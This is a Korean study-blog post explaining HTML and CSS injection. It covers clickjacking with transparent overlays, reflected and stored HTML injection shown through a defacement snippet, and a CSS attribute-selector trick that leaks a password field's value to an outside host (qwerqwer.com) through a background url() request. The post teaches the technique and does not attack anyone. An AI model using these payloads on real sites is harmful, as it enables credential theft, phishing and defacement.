web hacking

HTML/CSS Injection

Jueun7 2023. 7. 28. 09:43

HTML/CSS Injection

모두들 HTML과 CSS는 알 것 이다.
이번 취약점은 html과 css를 이용하는 취약점 이다.

HTML/CSS Injection은
HTML과 CSS 를 웹 사이트에 injection 하는 취약점이다.
실제로 잘 알려지지 않는 기술이고 운영자 입장에서 위험한 취약점이라고 인식하지 않는게 현실이다.
하지만, 실제로는 많이 위험한 취약점이다.

html/css injection 시나리오

일단 해커는 많이 사용하거나 잘 보이는 정상적인 버튼 혹은 로그인 버튼이나 로그아웃 등 중요한 버튼 위에 투명한 객체를 만든다.

해당 사이트 이용자는 정상적인 버튼을 누르려고 했지만, Click hijacking에 이용될 수 있다.

click 을 뺏고 공격자의 피싱 사이트로 자연스럽게 유도 한 다음에 피싱사이트에서 로그인하게 되면 계정이 해커에게 날라가기 때문에 생각보다 많이 위험한 취약점이다.

 

아마 코로나가 한창 유행일때 신천지 웹사이트 해킹사건이 있었다.
신천지 웹사이트 해킹은 deface hacking인데,
아마 HTML Injection을 하지 않았을까 생각해본다.
간단하지만 매우 재미있는 취약점이라고 생각한다.

HTML Injection

웹사이트에 HTML을 Injection해서 내가 원하는 내용을 웹페이지에 직접 표시하게 만들 수 있는 취약점이다.
공격 방식은 xss와 비슷한걸 넘어서 그냥 똑같다.

크게 Reflected와 Stored로 구분된다

Reflected

웹사이트 서비스가 입력값을 return해주는 경우에 발생할 수 있다.
HTML코드 안에 HTML코드가 실행되어서 그대로 HTML태그를 보여줄 수 있다.

<!DOCTYPE html>
<html lang="en">
<head>
</head>
<body>
    <h1>Hello</h1>
    <h3>Your name : <h1>이 사이트는 해킹되었다</h1></h3>
</body>
</html>

간단하게 이름을 받아서 출력하는 사이트가 있으면,
input값에 html 구문을 넣어서 해당 페이지가 로드될때 html구문도 같이 로드되어서 reflected html injection을 할 수 있다.

Stored

이것도 Stored xss와 비슷하다.
게시글이나 댓글같은 페이지에 HTML구문을 넣어서 로드될때 HTML구문도 함께 로드된다.

<!DOCTYPE html>
<html lang="en">
<head>
</head>
<body>
    <h1>제목 : 안녕하세요</h1>
    <h3>내용 : <h1>이 사이트는 해킹되었다</h1></h3>
</body>
</html>

이런식으로 게시물 내용에 HTML 구문을 입력하고 게시물을 올리면 서버 측 게시물 데이터베이스에 해당 게시글이 등록된다.
일반인 유저 피해자는 아무것도 모르고 해당 페이지를 로드하고,
페이지를 로드할 때 해당 HTML구문도 함께 로드되며 공격이 실행된다.

혹시!
만약 그냥 문자열로 들어가면 html entity encodeing을 해 보자.

CSS Injection

물론 html 코드에 css도 넣어서 injection을 할 수도 있다.
하지만 css 코드도 단독으로 넣을 수 도 있다.
css injection은 xss나 csrf을 쉽게 처리할 수 있게 꾸밀 수 있다.
xss 할때 사용하는 img, button 등등 여러가지들을 하기 쉽게 만들기도 한다.

user POST request

사용자가 직접 페이지를 꾸미는 기능이 있을때가 있다.
css 지정 범위가 정해지지 않는 경우엔 범위를 벗어나서 css를 injection을 할 수 있다.

Sequential Import Chaining base CSS Injection

CSS의 attribute selectors라는 기능을 이용해서 CSS injection을 하는 것이다.
attribute selectors는

<a href="#" target="_blank">link</a>
a[target] {color:red;}

a라는 태그에 target 이라는 속성을 가진 요소를 선택한다.

background 요소를 선택해서 url을 걸어 다른 사이트에 GET 요청을 보낼 수 있다.

<form>
    <input class = "a" type=password name=password value="">
<form>

<style>
input[name=password][value^=a]{
backgruond: url('http://qwerqwer.com/a')
}
</style>

value^=a 는 a로 시작하는 class 요소를 전부 선택한다.
이런식으로 넣게 되면 input에 들어간 값이 이미지 로드를 위해 url에 GET요청을 보낸다.

review

HTML이랑 CSS도 injection이 있는것을 처음 알았다.
실제 클릭재킹이 어느방식으로 이루워지는지 궁금했는데 html injection으로도 가능하다는 것을 알았다.
CSS Injection을 공부하면서 신기한 CSS 문법도 살짝 공부해봤는데 생각보다 엄청 복잡했다.
FE하는 친구들 막 react 하고 typescript하고 그러는데 얼마나 더 복잡하고 심오할지 모르겠다 :(
참 FE하는 친구들 대단한것 같다!